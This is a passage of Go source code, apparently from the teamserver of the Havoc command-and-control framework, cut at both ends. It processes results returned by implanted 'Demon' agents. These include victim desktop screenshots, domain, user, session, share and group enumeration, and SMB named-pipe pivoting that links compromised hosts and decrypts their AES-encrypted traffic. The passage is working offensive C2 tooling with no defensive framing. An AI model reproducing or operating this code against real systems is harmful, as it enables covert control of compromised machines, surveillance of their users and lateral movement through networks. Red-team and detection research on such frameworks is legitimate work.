config\"\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t\ta.RequestCompleted(RequestID)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_CONFIG, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_SCREENSHOT:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SCREENSHOT, Success: %d\", AgentID, Success))\n\n\t\t\tif Success == 1 {\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar BmpBytes = Parser.ParseBytes()\n\t\t\t\t\tvar Name = \"Desktop_\" + time.Now().Format(\"02.01.2006-05.04.05\") + \".png\"\n\n\t\t\t\t\tif len(BmpBytes) > 0 {\n\t\t\t\t\t\terr := logr.LogrInstance.DemonSaveScreenshot(a.NameID, Name, BmpBytes)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = \"Failed to take a screenshot: \" + err.Error()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"Successful took screenshot\"\n\n\t\t\t\t\t\tMessage[\"MiscType\"] = \"screenshot\"\n\t\t\t\t\t\tMessage[\"MiscData\"] = base64.StdEncoding.EncodeToString(BmpBytes)\n\t\t\t\t\t\tMessage[\"MiscData2\"] = Name\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"Failed to take a screenshot\"\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Failed to take a screenshot\"\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t\ta.RequestCompleted(RequestID)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_NET:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tNetCommand = Parser.ParseInt32()\n\t\t\t\tMessage    = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch NetCommand {\n\n\t\t\tcase DEMON_NET_COMMAND_DOMAIN:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Domain = Parser.ParseString()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Domain: %s\", AgentID, Domain))\n\n\t\t\t\t\tif Domain == \"\" {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = \"The machine does not seem to be joined to a domain\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Domain for this Host: %s\", Domain)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_LOGONS:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tIndex  int\n\t\t\t\t\tOutput string\n\t\t\t\t)\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Domain = Parser.ParseUTF16String()\n\t\t\t\t\tOutput += fmt.Sprintf(\" %-12s\\n\", \"Usernames\")\n\t\t\t\t\tOutput += fmt.Sprintf(\" %-12s\\n\", \"---------\")\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\t\tvar Name = Parser.ParseUTF16String()\n\n\t\t\t\t\t\tIndex++\n\n\t\t\t\t\t\tOutput += fmt.Sprintf(\"  %-12s\\n\", Name)\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Logged on users at %s [%v]: \", Domain, Index)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Output\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_SESSIONS:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tIndex  int\n\t\t\t\t\tBuffer bytes.Buffer\n\t\t\t\t\tData   [][]string\n\t\t\t\t)\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Domain = Parser.ParseUTF16String()\n\n\t\t\t\t\ttable := tablewriter.NewWriter(&Buffer)\n\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeader([]string{\"Computer\", \"Username\", \"Active\", \"Idle\"})\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeaderAlignment(tablewriter.ALIGN_CENTER)\n\n\t\t\t\t\t// table.SetRowSeparator(\"-\")\n\t\t\t\t\ttable.SetColumnSeparator(\" \")\n\t\t\t\t\ttable.SetCenterSeparator(\" \")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tClient = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tUser   = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tTime   = int(Parser.ParseInt32())\n\t\t\t\t\t\t\tIdle   = int(Parser.ParseInt32())\n\t\t\t\t\t\t\tColumn []string\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tIndex++\n\n\t\t\t\t\t\tColumn = []string{Client, User, strconv.Itoa(Time), strconv.Itoa(Idle)}\n\t\t\t\t\t\tData = append(Data, Column)\n\t\t\t\t\t}\n\n\t\t\t\t\ttable.AppendBulk(Data)\n\t\t\t\t\ttable.Render()\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Sessions for %v [%v]: \", Domain, Index)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Buffer.String()\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_COMPUTER:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_COMPUTER\", AgentID))\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_DCLIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DCLIST\", AgentID))\n\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_SHARE:\n\t\t\t\tvar (\n\t\t\t\t\tIndex  int\n\t\t\t\t\tBuffer bytes.Buffer\n\t\t\t\t\tData   [][]string\n\t\t\t\t)\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE\", AgentID))\n\n\t\t\t\t\tvar Domain = Parser.ParseUTF16String()\n\n\t\t\t\t\ttable := tablewriter.NewWriter(&Buffer)\n\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeader([]string{\"Share name\", \"Path\", \"Remark\", \"Access\"})\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeaderAlignment(tablewriter.ALIGN_CENTER)\n\n\t\t\t\t\t// table.SetRowSeparator(\"-\")\n\t\t\t\t\ttable.SetColumnSeparator(\" \")\n\t\t\t\t\ttable.SetCenterSeparator(\" \")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tName   = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tPath   = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tRemark = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tAccess = int(Parser.ParseInt32())\n\n\t\t\t\t\t\t\tColumn []string\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tIndex++\n\n\t\t\t\t\t\tColumn = []string{Name, Path, Remark, strconv.Itoa(Access)}\n\t\t\t\t\t\tData = append(Data, Column)\n\t\t\t\t\t}\n\n\t\t\t\t\ttable.AppendBulk(Data)\n\t\t\t\t\ttable.Render()\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Shares for %v [%v]: \", Domain, Index)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Buffer.String()\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_LOCALGROUP:\n\t\t\t\tvar Data string\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP\", AgentID))\n\n\t\t\t\t\tvar Domain = Parser.ParseUTF16String()\n\n\t\t\t\t\tData += fmt.Sprintf(\" %-48s %s\\n\", \"Group\", \"Description\")\n\t\t\t\t\tData += fmt.Sprintf(\" %-48s %s\\n\", \"-----\", \"-----------\")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tGroup       = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tDescription = Parser.ParseUTF16String()\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tData += fmt.Sprintf(\" %-48s  %s\\n\", Group, Description)\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Local Groups for %v: \", Domain)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Data\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP, Invalid packet\", AgentID))\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_GROUP:\n\t\t\t\tvar Data string\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP\", AgentID))\n\t\t\t\t\tvar Domain = Parser.ParseUTF16String()\n\n\t\t\t\t\tData += fmt.Sprintf(\" %-48s %s\\n\", \"Group\", \"Description\")\n\t\t\t\t\tData += fmt.Sprintf(\" %-48s %s\\n\", \"-----\", \"-----------\")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tGroup       = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tDescription = Parser.ParseUTF16String()\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tData += fmt.Sprintf(\" %-48s  %s\\n\", Group, Description)\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"List groups on %s: \", Domain)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Data\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_NET_COMMAND_USERS:\n\t\t\t\tvar Data string\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS\", AgentID))\n\t\t\t\t\tvar Target = Parser.ParseUTF16String()\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tUser  = Parser.ParseUTF16String()\n\t\t\t\t\t\t\tAdmin = Parser.ParseInt32()\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tif Admin == win32.TRUE {\n\t\t\t\t\t\t\tData += fmt.Sprintf(\" - %s (Admin)\\n\", User)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tData += fmt.Sprintf(\" - %s \\n\", User)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Users on %v: \", Target)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Data\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET - UNKNOWN (%d)\", AgentID, NetCommand))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_NET, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_PIVOT:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tPivotCommand = Parser.ParseInt32()\n\t\t\t\tMessage      = make(map[string]string)\n\t\t\t)\n\n\t\t\tswitch PivotCommand {\n\t\t\tcase DEMON_PIVOT_LIST:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_LIST\", AgentID))\n\t\t\t\tvar (\n\t\t\t\t\tData  string\n\t\t\t\t\tCount int\n\t\t\t\t)\n\n\t\t\t\tData += fmt.Sprintf(\" %-10s %s\\n\", \"DemonID \", \"Named Pipe\")\n\t\t\t\tData += fmt.Sprintf(\" %-10s %s\\n\", \"--------\", \"-----------\")\n\n\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tDemonId   int\n\t\t\t\t\t\tNamedPipe string\n\t\t\t\t\t)\n\n\t\t\t\t\tDemonId = Parser.ParseInt32()\n\t\t\t\t\tNamedPipe = Parser.ParseUTF16String()\n\n\t\t\t\t\tData += fmt.Sprintf(\" %-10x  %v\\n\", DemonId, NamedPipe)\n\t\t\t\t\tCount++\n\t\t\t\t}\n\n\t\t\t\tif Count > 0 {\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Pivot List [%v]: \", Count)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + Data\n\t\t\t\t} else {\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"No pivots connected\")\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\tcase DEMON_PIVOT_SMB_CONNECT:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tvar Success = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Success: %d\", AgentID, Success))\n\n\t\t\t\t\t// if we successfully connected to the SMB named pipe\n\t\t\t\t\tif Success == 1 {\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tDemonData = Parser.ParseBytes()\n\t\t\t\t\t\t\t\tAgentHdr  Header\n\t\t\t\t\t\t\t\terr       error\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\t// parse the agent header\n\t\t\t\t\t\t\tif AgentHdr, err = ParseHeader(DemonData); err == nil {\n\n\t\t\t\t\t\t\t\tif AgentHdr.MagicValue == DEMON_MAGIC_VALUE {\n\t\t\t\t\t\t\t\t\t// ignore the RequestID\n\t\t\t\t\t\t\t\t\tAgentHdr.Data.ParseInt32()\n\t\t\t\t\t\t\t\t\t// ignore the CommandID\n\t\t\t\t\t\t\t\t\tAgentHdr.Data.ParseInt32()\n\n\t\t\t\t\t\t\t\t\tvar DemonInfo *Agent\n\n\t\t\t\t\t\t\t\t\t// if agent exist then just retrieve the instance by agent id\n\t\t\t\t\t\t\t\t\tif teamserver.AgentExist(AgentHdr.AgentID) {\n\n\t\t\t\t\t\t\t\t\t\tDemonInfo = teamserver.AgentInstance(AgentHdr.AgentID)\n\t\t\t\t\t\t\t\t\t\tMessage[\"MiscType\"] = \"reconnect\"\n\t\t\t\t\t\t\t\t\t\tMessage[\"MiscData\"] = fmt.Sprintf(\"%v;%x\", a.NameID, AgentHdr.AgentID)\n\n\t\t\t\t\t\t\t\t\t\tif DemonInfo.Pivots.Parent != nil {\n\t\t\t\t\t\t\t\t\t\t\tfor i := range DemonInfo.Pivots.Parent.Pivots.Links {\n\t\t\t\t\t\t\t\t\t\t\t\tif DemonInfo.Pivots.Parent.Pivots.Links[i].NameID == fmt.Sprintf(\"%08x\", AgentHdr.AgentID) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tDemonInfo.Pivots.Parent.Pivots.Links = append(DemonInfo.Pivots.Parent.Pivots.Links[:i], DemonInfo.Pivots.Parent.Pivots.Links[i+1:]...)\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tDemonInfo.Active = true\n\t\t\t\t\t\t\t\t\t\tDemonInfo.Reason = \"\"\n\t\t\t\t\t\t\t\t\t\tDemonInfo.Pivots.Parent = a\n\n\t\t\t\t\t\t\t\t\t\ta.Pivots.Links = append(a.Pivots.Links, DemonInfo)\n\t\t\t\t\t\t\t\t\t\tteamserver.LinkAdd(a, DemonInfo)\n\n\t\t\t\t\t\t\t\t\t\tteamserver.AgentUpdate(DemonInfo)\n\t\t\t\t\t\t\t\t\t\tteamserver.AgentUpdate(a)\n\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t// if the agent doesn't exist then we assume that it's a register request from a new agent\n\n\t\t\t\t\t\t\t\t\t\tDemonInfo = ParseDemonRegisterRequest(AgentHdr.AgentID, AgentHdr.Data, \"\")\n\t\t\t\t\t\t\t\t\t\tDemonInfo.Pivots.Parent = a\n\n\t\t\t\t\t\t\t\t\t\ta.Pivots.Links = append(a.Pivots.Links, DemonInfo)\n\t\t\t\t\t\t\t\t\t\tteamserver.LinkAdd(a, DemonInfo)\n\n\t\t\t\t\t\t\t\t\t\tDemonInfo.Info.MagicValue = AgentHdr.MagicValue\n\n\t\t\t\t\t\t\t\t\t\tteamserver.AgentAdd(DemonInfo)\n\t\t\t\t\t\t\t\t\t\tteamserver.AgentSendNotify(DemonInfo)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif DemonInfo != nil {\n\t\t\t\t\t\t\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Connected to pivot agent [\" + a.NameID + \"]-<>-<>-[\" + DemonInfo.NameID + \"]\"\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Failed to connect: failed to parse the agent\"\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Failed to connect: magic value isn't demon type\"\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Failed to connect: \" + err.Error()\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet\", AgentID))\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Failed to connect: Invalid response\"\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\t\t\tlogger.Debug(\"DEMON_PIVOT_SMB_CONNECT: Failed\")\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tErrorCode          = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tErrorString, found = Win32ErrorCodes[ErrorCode]\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tErrorString += \" \"\n\n\t\t\t\t\t\t\tif !found {\n\t\t\t\t\t\t\t\tErrorString = \"\"\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"[SMB] Failed to connect: %v [%v]\", ErrorString, ErrorCode)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_PIVOT_SMB_DISCONNECT:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t\tAgentID = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Success: %d, AgentID: %x\", AgentID, Success, AgentID))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"[SMB] Agent disconnected %x\", AgentID)\n\n\t\t\t\t\t\tMessage[\"MiscType\"] = \"disconnect\"\n\t\t\t\t\t\tMessage[\"MiscData\"] = fmt.Sprintf(\"%08x\", AgentID)\n\n\n\t\t\t\t\t\tAgentInstance := teamserver.AgentInstance(AgentID)\n\t\t\t\t\t\tif AgentInstance != nil {\n\t\t\t\t\t\t\tteamserver.LinkRemove(a, AgentInstance, true)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"[SMB] Failed to disconnect agent %x\", AgentID)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_PIVOT_SMB_COMMAND:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tPackage       = Parser.ParseBytes()\n\t\t\t\t\t\tAgentHdr, err = ParseHeader(Package)\n\t\t\t\t\t)\n\n\t\t\t\t\tif err == nil {\n\n\t\t\t\t\t\tif AgentHdr.MagicValue == DEMON_MAGIC_VALUE {\n\t\t\t\t\t\t\tvar PivotAgent *Agent\n\n\t\t\t\t\t\t\tPivotAgent = teamserver.AgentInstance(AgentHdr.AgentID)\n\t\t\t\t\t\t\tif PivotAgent != nil {\n\t\t\t\t\t\t\t\tPivotAgent.UpdateLastCallback(teamserver)\n\t\t\t\t\t\t\t\t//logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Linked Agent: %s, Command: %d\", AgentID, PivotAgent.NameID, Command))\n\n\t\t\t\t\t\t\t\t// while we can read a command and request id, parse new packages\n\t\t\t\t\t\t\t\tfirst_iter := true\n\t\t\t\t\t\t\t\tfor (AgentHdr.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {\n\t\t\t\t\t\t\t\t\tvar Command   = uint32(AgentHdr.Data.ParseInt32())\n\t\t\t\t\t\t\t\t\tvar Request   = uint32(AgentHdr.Data.ParseInt32())\n\n\t\t\t\t\t\t\t\t\tif first_iter {\n\t\t\t\t\t\t\t\t\t\tfirst_iter = false\n\t\t\t\t\t\t\t\t\t\t// if the message is not a reconnect, decrypt the buffer\n\t\t\t\t\t\t\t\t\t\tAgentHdr.Data.DecryptBuffer(PivotAgent.Encryption.AESKey, PivotAgent.Encryption.AESIv)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t/* The agent is sending us the result of a task */\n\t\t\t\t\t\t\t\t\tif Command != COMMAND_GET_JOB {\n\t\t\t\t\t\t\t\t\t\tParser := parser.NewParser(AgentHdr.Data.ParseBytes())\n\t\t\t\t\t\t\t\t\t\tPivotAgent.TaskDispatch(Request, Command, Parser, teamserver)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"Can't process output for %x: Agent not found\", AgentHdr.AgentID)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tMessage[\"Message\"] = \"[SMB] Response magic value isn't demon type\"\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\t\tMessage[\"Message\"] 